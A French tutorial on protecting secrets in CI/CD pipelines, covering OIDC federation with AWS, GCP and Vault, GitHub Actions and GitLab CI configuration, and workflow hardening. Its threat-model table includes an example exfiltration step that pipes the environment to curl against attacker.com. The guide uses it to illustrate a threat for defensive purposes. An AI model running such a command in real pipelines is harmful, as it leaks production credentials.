Un pipeline CI/CD concentre souvent tous les accès critiques : cloud, registry, bases de données, clés de signature. Compromettre un pipeline, c’est compromettre la production. Ce guide explique comment protéger ces secrets, migrer vers des accès temporaires fondés sur l’identité du job, et durcir vos workflows face aux vecteurs d’attaque réels.
Ce que vous allez apprendre
Section intitulée « Ce que vous allez apprendre »- Le modèle de menace spécifique aux pipelines CI/CD
- Comment configurer les secrets dans GitHub Actions et GitLab CI
- L’approche OIDC pour éliminer les secrets longue durée
- L’intégration avec HashiCorp Vault
- Les pièges courants, le durcissement des workflows et le dépannage
- Quand OIDC ne suffit pas et comment gérer ce cas
Prérequis
Section intitulée « Prérequis »Pourquoi les secrets CI/CD sont critiques
Section intitulée « Pourquoi les secrets CI/CD sont critiques »Un pipeline de déploiement a typiquement accès au cluster Kubernetes de production, aux credentials cloud (AWS, GCP, Azure), au registry d’images, aux bases de données pour les migrations et aux clés de signature pour les artefacts. Compromettre le pipeline = compromettre la production.
Le problème des tokens longue durée
Section intitulée « Le problème des tokens longue durée »La pratique encore courante :
# ❌ Token AWS stocké dans les secrets du dépôtenv: AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }} AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}Ce token existe souvent depuis des mois, reste utilisable jusqu’à révocation manuelle en cas de compromission, et bénéficie de permissions trop larges “par facilité”.
Modèle de menace d’un pipeline CI/CD
Section intitulée « Modèle de menace d’un pipeline CI/CD »Avant de protéger vos secrets, il faut comprendre comment un attaquant les exfiltre. Les pipelines CI/CD présentent des vecteurs d’attaque spécifiques que les protections classiques ne couvrent pas toujours.
| Vecteur d’attaque | Scénario | Impact |
|---|---|---|
| Workflow / job modifié | Un contributeur modifie un workflow pour exécuter env | curl attacker.com dans un step | Exfiltration de tous les secrets injectés dans le job |
| Dépendance malveillante | Un package npm/pip compromis lit process.env ou os.environ et exfiltre les variables | Vol silencieux des tokens, difficile à détecter |
| Action GitHub / image Docker compromise | Une GitHub Action tierce ou une image Docker utilisée dans le pipeline contient du code malveillant | Accès aux secrets du job, à GITHUB_TOKEN, au filesystem |
| Runner compromis ou mal isolé | Un runner self-hosted partagé entre projets, sans isolation | Un job malveillant accède aux secrets d’un autre projet via /tmp, le disque, ou les process |
Fork + pull_request_target | Un fork soumet une PR qui modifie le workflow et s’exécute avec les secrets du repo cible | Exfiltration des secrets de production via une simple PR |
| Cache / artefact contaminé | Un secret finit dans le cache npm, le state Terraform, ou un artefact uploadé | Persistance du secret au-delà du job, accessible aux collaborateurs |
Supports de fuite souvent oubliés
Section intitulée « Supports de fuite souvent oubliés »Les logs et artefacts ne sont pas les seuls endroits où un secret peut fuir :
- Variables exportées dans des steps intermédiaires (
$GITHUB_ENV,export) - Fichiers de configuration générés :
.npmrc,.pypirc,docker/config.json - State Terraform contenant des outputs sensibles en clair
- Rapports de tests qui incluent des variables d’environnement dans les stack traces
- Fichiers intermédiaires écrits dans
/tmpou le workspace
Configurer les secrets : bonnes pratiques
Section intitulée « Configurer les secrets : bonnes pratiques »GitHub Actions
Section intitulée « GitHub Actions »GitHub Actions propose trois niveaux de secrets avec des portées différentes. Choisir le bon niveau évite de sur-exposer un secret à des workflows qui n’en ont pas besoin.
| Niveau | Accès | Usage |
|---|---|---|
| Repository secrets | Ce dépôt uniquement | Secrets spécifiques à un projet |
| Environment secrets | Un environnement (prod, staging) | Avec protection et approbation |
| Organization secrets | Tous les dépôts de l’org | Secrets partagés (registry) |
Configuration d’un environnement protégé :
- Settings → Environments → New environment
- Nom :
production - Protection rules :
- Required reviewers (approbation obligatoire)
- Wait timer (délai avant déploiement)
- Deployment branches (branches autorisées uniquement)
Utilisation dans le workflow :
jobs: deploy: runs-on: ubuntu-latest environment: production # Secrets de prod + protections activées steps: - name: Deploy env: DB_PASSWORD: ${{ secrets.DB_PASSWORD }} run: ./deploy.shGitLab CI
Section intitulée « GitLab CI »GitLab CI distingue plusieurs types de variables avec des comportements de sécurité différents. Le masquage empêche l’affichage dans les logs, et la protection restreint l’accès aux branches protégées.
| Type | Comportement |
|---|---|
| Variable | Visible dans les logs (éviter pour secrets) |
| Masked | Remplacé par [MASKED] dans les logs |
| Protected | Disponible uniquement sur branches protégées |
| File | Écrit dans un fichier temporaire |
Configuration recommandée :
# Settings → CI/CD → Variables# Type: Variable# Flags: Protected, Masked# Environments: productiondeploy: stage: deploy script: - echo "Deploying with $DB_PASSWORD" # Affiché comme [MASKED] rules: - if: $CI_COMMIT_BRANCH == "main" environment: name: productionOIDC : éliminer les tokens longue durée
Section intitulée « OIDC : éliminer les tokens longue durée »OIDC (OpenID Connect) permet au pipeline de s’authentifier auprès d’un service cible sans stocker de secret. Le principe repose sur une fédération d’identité :
-
Le workflow demande un token OIDC
GitHub/GitLab génère un token JWT signé qui contient des claims identifiant précisément le workflow : repository, branche, environnement, workflow name.
-
Le workflow présente ce token au service cible
Le service (AWS STS, GCP, Vault) vérifie la signature du JWT, valide les claims et consulte la politique de confiance (trust policy) configurée.
-
Le service cible délivre (ou refuse) des credentials temporaires
Le service vérifie que le token OIDC, ses claims et la trust policy correspondent. Si tout est conforme, il émet des credentials temporaires (15 minutes par défaut). Sinon, l’accès est refusé.
Claims OIDC : la base de la confiance
Section intitulée « Claims OIDC : la base de la confiance »Le token OIDC émis par GitHub ou GitLab contient des claims qui identifient précisément le contexte d’exécution. C’est sur ces claims que vous construisez vos règles de confiance côté cloud ou Vault.
Claims GitHub Actions :
| Claim | Contenu | Usage dans la trust policy |
|---|---|---|
sub | repo:org/repo:ref:refs/heads/main | Limiter par repo + branche |
aud | sts.amazonaws.com | Vérifier l’audience cible |
repository | org/repo | Filtrer par dépôt |
environment | production | Limiter à un environnement |
ref | refs/heads/main | Limiter par branche |
workflow | deploy.yml | Limiter à un workflow précis |
Claims GitLab CI :
| Claim | Contenu | Usage dans la trust policy |
|---|---|---|
sub | project_path:group/project:ref_type:branch:ref:main | Limiter par projet + branche |
aud | Audience configurée dans id_tokens | Vérifier la cible |
namespace_path | group | Filtrer par groupe |
project_path | group/project | Filtrer par projet |
ref | main | Limiter par branche |
environment | production | Limiter à un environnement |
GitHub Actions + AWS (OIDC)
Section intitulée « GitHub Actions + AWS (OIDC) »Configuration AWS :
# 1. Créer l'identity provider OIDCresource "aws_iam_openid_connect_provider" "github" { url = "https://token.actions.githubusercontent.com" client_id_list = ["sts.amazonaws.com"] # Thumbprint : valeur d'exemple. Vérifiez la valeur actuelle dans # la documentation AWS au moment de l'implémentation. thumbprint_list = ["6938fd4d98bab03faadb97b34396831e3780aea1"]}
# 2. Créer le rôle avec trust policy STRICTEresource "aws_iam_role" "github_actions" { name = "github-actions-deploy"
assume_role_policy = jsonencode({ Version = "2012-10-17" Statement = [{ Effect = "Allow" Principal = { Federated = aws_iam_openid_connect_provider.github.arn } Action = "sts:AssumeRoleWithWebIdentity" Condition = { StringEquals = { # Audience : vérifier que le token cible bien AWS "token.actions.githubusercontent.com:aud" = "sts.amazonaws.com" # Limiter à un repo + branche + environnement précis "token.actions.githubusercontent.com:sub" = "repo:myorg/myrepo:environment:production" } } }] })}Workflow GitHub Actions :
name: Deployon: push: branches: [main]
# Permissions minimales au niveau du workflowpermissions: {}
jobs: deploy: runs-on: ubuntu-latest environment: production # Permissions au niveau du job uniquement permissions: id-token: write # Obligatoire pour OIDC contents: read steps: - uses: actions/checkout@v4 with: persist-credentials: false # Pas besoin de pousser
- uses: aws-actions/configure-aws-credentials@v4 with: role-to-assume: arn:aws:iam::123456789:role/github-actions-deploy aws-region: eu-west-1 # Pas de AWS_ACCESS_KEY_ID ni AWS_SECRET_ACCESS_KEY !
- run: aws s3 cp ./dist s3://my-bucket/Avantages :
- Aucun secret stocké dans le dépôt
- Credentials valides 15 minutes par défaut
- Permissions restreintes au rôle IAM
- Audit trail complet dans CloudTrail
GitHub Actions + GCP (Workload Identity Federation)
Section intitulée « GitHub Actions + GCP (Workload Identity Federation) »Sur GCP, la fédération peut être directe (le principal fédéré accède directement aux ressources) ou passer par l’impersonation d’un service account, selon le modèle d’accès choisi. L’impersonation est plus courante car elle permet de réutiliser les permissions IAM existantes.
La configuration côté GCP nécessite :
- Un Workload Identity Pool qui regroupe les identités externes
- Un Provider dans ce pool qui configure les claims GitHub/GitLab
- Un mapping d’attributs qui lie les claims OIDC aux attributs GCP
- Un binding IAM entre le principal et un service account (si impersonation)
name: Deploy GCPon: push: branches: [main]
permissions: {}
jobs: deploy: runs-on: ubuntu-latest environment: production permissions: id-token: write contents: read steps: - uses: actions/checkout@v4 with: persist-credentials: false
# Authentification via Workload Identity Federation - uses: google-github-actions/auth@v2 with: workload_identity_provider: projects/123456/locations/global/workloadIdentityPools/github/providers/github service_account: deploy@myproject.iam.gserviceaccount.com
- uses: google-github-actions/setup-gcloud@v2
- run: gcloud run deploy my-service --image gcr.io/myproject/appGitLab CI + AWS (OIDC)
Section intitulée « GitLab CI + AWS (OIDC) »GitLab utilise les id_tokens (et non les anciens CI_JOB_JWT dépréciés) pour l’authentification OIDC.
resource "aws_iam_openid_connect_provider" "gitlab" { url = "https://gitlab.com" client_id_list = ["https://gitlab.com"] # Thumbprint : valeur d'exemple. Vérifiez la valeur actuelle # dans la documentation AWS. thumbprint_list = ["b3dd7606d2b5a8b4a13771dbecc9ee1cecafa38a"]}deploy: stage: deploy image: amazon/aws-cli:latest id_tokens: AWS_TOKEN: aud: https://gitlab.com script: - > export $(printf "AWS_ACCESS_KEY_ID=%s AWS_SECRET_ACCESS_KEY=%s AWS_SESSION_TOKEN=%s" $(aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789:role/gitlab-deploy --role-session-name gitlab-ci-$CI_PIPELINE_ID --web-identity-token $AWS_TOKEN --duration-seconds 900 --query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken]' --output text)) - aws s3 cp ./dist s3://my-bucket/ environment: name: productionGitLab CI : points d’attention
Section intitulée « GitLab CI : points d’attention »Quelques spécificités GitLab à connaître :
id_tokensvsCI_JOB_JWT:id_tokensest la méthode actuelle. Les anciensCI_JOB_JWTsont dépréciés et ne doivent plus être utilisés.- Filtrage des claims côté AWS/Vault : utilisez les claims
project_path,ref,namespace_pathetenvironmentdans vos trust policies pour restreindre l’accès. - GitLab.com vs self-managed : sur une instance self-managed, l’URL de l’issuer OIDC est celle de votre instance (
https://gitlab.example.com). La configuration du provider cloud doit pointer vers cette URL. - Intégration Vault native : GitLab propose une intégration directe avec HashiCorp Vault via
id_tokens, sans avoir besoin de passer par un script shell.
Intégration avec HashiCorp Vault
Section intitulée « Intégration avec HashiCorp Vault »OIDC ne sert pas qu’à accéder au cloud. Un cas d’usage majeur est la récupération de secrets depuis HashiCorp Vault sans stocker de credentials dans le CI.
GitHub Actions + Vault (OIDC)
Section intitulée « GitHub Actions + Vault (OIDC) »Configuration Vault :
# 1. Activer l'auth method JWTvault auth enable jwt
# 2. Configurer le provider GitHub OIDCvault write auth/jwt/config \ bound_issuer="https://token.actions.githubusercontent.com" \ oidc_discovery_url="https://token.actions.githubusercontent.com"
# 3. Créer un rôle avec trust policyvault write auth/jwt/role/github-deploy \ bound_audiences="https://github.com/myorg" \ bound_claims_type="glob" \ bound_claims='{"sub": "repo:myorg/myrepo:ref:refs/heads/main"}' \ user_claim="repository_owner" \ role_type="jwt" \ policies="deploy-policy" \ token_ttl="10m"Workflow GitHub Actions :
name: Deploy with Vaulton: push: branches: [main]
permissions: {}
jobs: deploy: runs-on: ubuntu-latest environment: production permissions: id-token: write contents: read steps: - uses: actions/checkout@v4 with: persist-credentials: false
- uses: hashicorp/vault-action@v3 with: url: https://vault.example.com method: jwt role: github-deploy jwtGithubAudience: https://github.com/myorg secrets: | secret/data/deploy db_password | DB_PASSWORD ; secret/data/deploy api_key | API_KEY
- run: ./deploy.sh env: DB_PASSWORD: ${{ steps.vault.outputs.DB_PASSWORD }}GitLab CI + Vault (OIDC)
Section intitulée « GitLab CI + Vault (OIDC) »GitLab propose une intégration native avec Vault via id_tokens :
deploy: stage: deploy id_tokens: VAULT_ID_TOKEN: aud: https://vault.example.com secrets: DB_PASSWORD: vault: deploy/db_password@secret token: $VAULT_ID_TOKEN script: - echo "Password is masked: $DB_PASSWORD" environment: name: productionLa syntaxe secrets: de GitLab récupère directement les secrets depuis Vault et les injecte comme variables masquées. Aucun script shell nécessaire.
Ordre de préférence pour la gestion des secrets CI/CD
Section intitulée « Ordre de préférence pour la gestion des secrets CI/CD »Comment choisir entre les approches — du plus sûr au moins sûr :
| Priorité | Méthode | Quand l’utiliser |
|---|---|---|
| 1 | OIDC / fédération d’identité | Cloud (AWS, GCP, Azure), Vault, tout service compatible JWT |
| 2 | Secret dynamique via Vault | Base de données, credentials à courte durée de vie |
| 3 | Secret statique protégé dans le CI | API tierce à clé fixe, service legacy non fédérable |
| 4 | Secret dans le code ou le dépôt | Jamais |
Quand OIDC ne suffit pas
Section intitulée « Quand OIDC ne suffit pas »OIDC couvre les clouds majeurs et Vault, mais certains cas imposent encore un secret stocké :
| Cas | Pourquoi OIDC ne marche pas | Solution |
|---|---|---|
| API SaaS à clé fixe | Le fournisseur n’implémente pas OIDC/JWT | Secret statique dans un environment protégé, rotation planifiée |
| Système legacy on-prem | Pas de trust federation prête | Passer par Vault comme intermédiaire (le CI obtient le secret depuis Vault via OIDC) |
| Outil sans support OIDC | Client CLI ou SDK non compatible | Secret court avec scoping strict (un secret par usage) |
| Infra sans accès réseau | Le pipeline ne peut pas atteindre le provider OIDC | Secret statique avec rotation automatisée |
Dans ces cas, gérez le secret statique au mieux :
- Un secret par usage : pas de “master key” partagée entre jobs
- Rotation planifiée : tous les 90 jours minimum
- Environment protégé : available on protected branches only
- Durée de vie courte si possible
Durcir vos workflows
Section intitulée « Durcir vos workflows »Permissions minimales (GitHub Actions)
Section intitulée « Permissions minimales (GitHub Actions) »Ne déclarez aucune permission au niveau du workflow et ajoutez uniquement ce qui est nécessaire au niveau de chaque job :
# ✅ Permissions nulles par défautpermissions: {}
jobs: build: permissions: contents: read # Checkout uniquement # ...
deploy: permissions: id-token: write # OIDC contents: read # ...Un job qui n’a besoin que de lire le code ne doit pas hériter d’un id-token: write global.
Pinning des actions par SHA
Section intitulée « Pinning des actions par SHA »Les tags (@v4) sont mutables : un mainteneur compromis peut republier un tag avec du code malveillant. Pinnez par SHA de commit :
# ❌ Tag mutable- uses: actions/checkout@v4
# ✅ SHA immutable (v4.2.2)- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683persist-credentials: false
Section intitulée « persist-credentials: false »Par défaut, actions/checkout persiste un token Git dans le workspace. Si votre job n’a pas besoin de pousser dans le dépôt, désactivez-le :
- uses: actions/checkout@v4 with: persist-credentials: falseRunners dédiés et isolation
Section intitulée « Runners dédiés et isolation »Si vous utilisez des runners self-hosted :
- Un runner par niveau de confiance : ne mélangez pas les jobs de build (code non vérifié) et de deploy (accès prod)
- Runners éphémères : détruisez le runner après chaque job pour éviter la persistance de secrets sur le disque
- Pas de partage de workspace entre projets
Pièges courants et solutions
Section intitulée « Pièges courants et solutions »Piège 1 : secret affiché dans les logs
Section intitulée « Piège 1 : secret affiché dans les logs »# ❌ Le secret peut apparaître dans les logs- run: echo "Connecting with $DB_PASSWORD"Solution : utiliser ::add-mask:: ou configurer le secret comme “masked”.
# ✅ Masquer explicitement- run: | echo "::add-mask::${{ secrets.DB_PASSWORD }}" ./connect.shPiège 2 : exécution du code d’un fork avec les secrets du repo
Section intitulée « Piège 2 : exécution du code d’un fork avec les secrets du repo »Par défaut, les secrets ne sont pas transmis aux workflows des forks. Le danger survient avec pull_request_target quand le workflow exécute du code issu de la PR tout en bénéficiant des secrets du repo cible.
# ⚠️ Dangereux si le workflow checkout le code de la PRon: pull_request_target
# ✅ Plus sûr : exécute le code du repo cible, pas de secrets exposés aux forkson: pull_requestpull_request_target n’est pas dangereux en soi, mais il le devient si le workflow fait un checkout du head de la PR (github.event.pull_request.head.ref) puis exécute ce code dans un contexte qui a accès aux secrets.
Piège 3 : token trop permissif
Section intitulée « Piège 3 : token trop permissif »# ❌ Token admin avec tous les droitsenv: GITHUB_TOKEN: ${{ secrets.ADMIN_PAT }}Solution : utiliser le GITHUB_TOKEN automatique avec permissions minimales.
permissions: contents: read packages: write # Seulement ce qui est nécessairePiège 4 : secret dans le cache ou les artefacts
Section intitulée « Piège 4 : secret dans le cache ou les artefacts »# ❌ Le fichier .env ou docker/config.json est uploadé- uses: actions/upload-artifact@v4 with: name: build path: ./dist/Solution : exclure explicitement les fichiers sensibles.
- uses: actions/upload-artifact@v4 with: name: build path: | ./dist/ !./dist/.env !./dist/**/*.key !./dist/docker/config.jsonMême logique pour le cache : ne jamais cacher ~/.docker, ~/.aws, ou un répertoire contenant des .npmrc avec tokens.
Migration vers OIDC
Section intitulée « Migration vers OIDC »-
Inventaire des secrets CI/CD
Listez tous les tokens longue durée stockés dans vos dépôts et environnements CI.
-
Prioriser par criticité
Commencez par les credentials cloud (AWS, GCP, Azure), puis les accès Vault.
-
Configurer l’identity provider
Créez le provider OIDC côté cloud ou Vault. Vérifiez les thumbprints dans la documentation officielle du moment.
-
Créer les rôles avec trust policy stricte
Limitez systématiquement par repo, branche, et environnement. Évitez les wildcards.
-
Migrer les workflows
Remplacez les secrets par l’authentification OIDC. Ajoutez
permissions: {}au niveau workflow, les permissions minimales au niveau job. -
Supprimer et révoquer les anciens secrets
Révoquez les access keys devenues inutiles. Ne les laissez pas en parallèle.
Dépannage
Section intitulée « Dépannage »| Symptôme | Cause probable | Solution |
|---|---|---|
Not authorized to perform sts:AssumeRoleWithWebIdentity | Trust policy trop restrictive ou claim sub incorrect | Comparer le sub du JWT avec la condition dans la trust policy. Activer CloudTrail pour voir le claim reçu |
Error: No subject claim found | permissions: id-token: write manquant | Ajouter la permission au niveau du job |
Audience in token does not match | Audience (aud) configurée différente de celle attendue | Vérifier client_id_list côté AWS et aud dans le workflow GitLab |
Unable to verify thumbprint | Thumbprint AWS obsolète ou incorrect | Recalculer avec openssl ou consulter la doc AWS. Pour GitHub, AWS gère maintenant la vérification via la bibliothèque de certificats |
The requested scope is invalid (GCP) | Mapping d’attributs incorrect dans le Workload Identity Pool | Vérifier le mapping attribute.repository / assertion.repository dans le provider |
Vault login failed | Rôle JWT mal configuré ou bound_claims incorrect | Vérifier les claims avec vault write auth/jwt/login role=... jwt=$TOKEN en debug |
Secret affiché [MASKED] mais tronqué | GitLab ne masque que les valeurs ≥ 8 caractères | Utiliser un secret suffisamment long |
À retenir
Section intitulée « À retenir »- Les pipelines sont des cibles privilégiées — ils concentrent les accès à la production, au cloud et aux registries.
- OIDC est une fédération d’identité, pas une permission directe — c’est la trust policy côté serveur qui décide des accès accordés.
- Restreignez les claims dans vos trust policies : repo, branche, environnement. Évitez les wildcards larges.
- Vault complète OIDC pour les secrets applicatifs (mots de passe, clés API) qui ne relèvent pas du cloud.
- Tout secret doit être masqué — dans les logs, artefacts, caches, mais aussi les fichiers de configuration générés.
- Quand OIDC n’est pas possible, gérez le secret statique avec rotation, scoping et environment protégé.
- Durcissez les workflows : permissions
{}par défaut, pinning SHA,persist-credentials: false, runners isolés.